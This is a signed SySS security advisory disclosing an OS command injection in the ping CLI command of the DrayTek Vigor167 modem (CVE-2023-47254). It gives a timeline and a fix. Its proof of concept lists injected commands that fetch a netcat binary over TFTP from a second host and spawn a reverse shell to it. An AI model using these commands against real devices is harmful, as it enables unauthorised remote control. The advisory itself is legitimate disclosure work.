-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512

Advisory ID:               SYSS-2023-023 
Product:                   Vigor167
Manufacturer:              DrayTek
Affected Version(s):       5.2.2
Tested Version(s):         5.2.2
Vulnerability Type:        OS Command Injection (CWE-78)
Risk Level:                Medium
Solution Status:           Open
Manufacturer Notification: 2023-09-22
Solution Date:             2023-11-16
Public Disclosure:         2023-12-06
CVE Reference:             CVE-2023-47254
Author of Advisory:        Fabian Krone, SySS GmbH

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Overview:

Vigor167 is a VDSL2 35b Supervectoring Modem.

The manufacturer describes the product as follows (see [1]):

"Vigor167 is a VDSL2 35b modem/router."

Due to missing input validation, the command-line interface of the device 
is vulnerable to an OS command injection.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Vulnerability Details:

Vigor167 has a command-line interface available via both Telnet and 
SSH. This interface requires a login with any account available in the
web interface. This also includes accounts which were denied every access
according to their group settings.

Afterward, a limited set of commands is available to the user. The 
ping command present allows injecting commands which are then executed 
on the device.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Proof of Concept (PoC):

Commands can be injected with backticks (``). The current working
directory can be printed out with the following command:

    vigor> exec ping `pwd`
    ping: /tmp: Unknown host

Another possibility is to wrap the OS command in parentheses following 
a dollar sign like $(pwd).

The available commands are very limited. For example, only a small 
fraction of the standard output from the injected commands is displayed. 
Furthermore, space characters lead to evaluation errors.

In order to achieve a full reverse shell, some of BusyBox's internal 
commands can be used. 

A TFTP server is hosted as preparation on a computer which is reachable by
Vigor167 over the network. A statically compiled version of Netcat[2] is hosted 
on the TFTP server.

First, the operating system of Vigor167 is instructed to download the file:

    vigor> exec ping `busybox${IFS}tftp${IFS}-l${IFS}/tmp/netcat${IFS}-g${IFS}-r${IFS}netcat${IFS}192.168.100.5`
    BusyBox v1.00 (2023.05.29-03:34+0000) multi-call binary

    usage: ping [OPTION]... host

${IFS} is a POSIX variable that contains the field separator and serves as 
replacement for the space character. 

Then, the executable flag is set on the transferred Netcat binary:

    vigor> exec ping `chmod${IFS}+x${IFS}/tmp/netcat`
    BusyBox v1.00 (2023.05.29-03:34+0000) multi-call binary

    usage: ping [OPTION]... host

On the computer hosting the TFTP server, a Netcat listener is opened. Then, 
a reverse shell can be spawned:

    vigor> exec ping `/tmp/netcat${IFS}192.168.100.5${IFS}9001${IFS}-e${IFS}ash`

The reverse shell is opened to the targeted host:

    Connection from 192.168.100.1:43354
    sh: turning off NDELAY mode
    pwd
    /tmp

Vigor167 was used in modem mode.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Solution:

Update the modem's firmware to version 5.2.3.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Disclosure Timeline:

2023-07-30: Vulnerability discovered
2023-09-22: Vulnerability reported to manufacturer
2023-11-16: Patch released by manufacturer
2023-12-06: Public disclosure of vulnerability

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

References:

[1] Product website for Vigor167
    https://www.draytek.com/products/vigor167
[2] Statically compiled MIPS32 Netcat
    https://github.com/darkerego/mips-binaries/blob/master/netcat
[3] SySS Security Advisory SYSS-2023-023
    https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2023-023.txt
[4] SySS Responsible Disclosure Policy
    https://www.syss.de/en/responsible-disclosure-policy

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Credits:

This security vulnerability was found by Fabian Krone of SySS
GmbH.

E-Mail: fabian.krone@syss.de
Public Key: https://www.syss.de/fileadmin/dokumente/PGPKeys/Fabian_Krone.asc
Key ID: 0xBFDF30ABD10EA0F4
Key Fingerprint: 0ADE D2AA AE27 7DDA A8F0 C051 BFDF 30AB D10E A0F4 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Disclaimer:

The information provided in this security advisory is provided "as is" 
and without warranty of any kind. Details of this security advisory may
be updated in order to provide as accurate information as possible. The
latest version of this security advisory is available on the SySS website.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Copyright:

Creative Commons - Attribution (by) - Version 3.0
URL: http://creativecommons.org/licenses/by/3.0/deed.en

-----BEGIN PGP SIGNATURE-----

iQIzBAEBCgAdFiEECt7Sqq4nfdqo8MBRv98wq9EOoPQFAmVouRMACgkQv98wq9EO
oPRkjhAAnkZCXYM9lqXIbN+pGZoA2Zv93z8JXv34vIhCahv1G47ocJ0L7kLb7KNz
+EbLTEnoh9Kxukw7tjNV6zvHRhav2o5KQBaelgGyCAmgtcKp30eCkN0sO4ocBqm5
wBYbYxVzOk6+aMOxIR6B496lT5AvFtzHXeCuwm4Vewpv/v7L78ixA1vnD+cjJuHq
BdA/IYxrQKUEeZBlBqNM1WFe2AUxhaxGnskBrQtnZcblrJwLj3CY4UCbAehFCN29
p0iw6ntnMfpSP85nwM7mNIQo1UFWvA3Dnx6sVK7LjokX+bBAgrjjklxUdZoN1exa
htT12p6lE9UNWteFt0xkgdMRkTM48CUsDpiQORIRTbb20Haz9byNTieH3UxX/OLE
mU/D/BhfX4F55f0Yxlz/kJ+5hLEv4EUUIfuM4uM6vntH1E8Y/FGMxdpWVqtvCU64
U6mr52/ZLWKxyyp1+qZn2UpkP9zntO8sNUd2Yt3TqpNfOydJGNff//A5gqPkJy6B
s1bZEYNWN6zpkkVukFT+EIjQHyA8OaTud8TUmo0uuvN240S74yqKpb7czaAjdOwn
c5h6IlqEYu70lpnEc2d9UFRN4nGJ/NiLuimDbFjaqtjzGa+rDFNNSHDvS8jN+tN5
bgZ6SPy+mXNh07dqET/SVaI8P/yIZmNIENtNrW7z6fbr6F+aKfk=
=7izf
-----END PGP SIGNATURE-----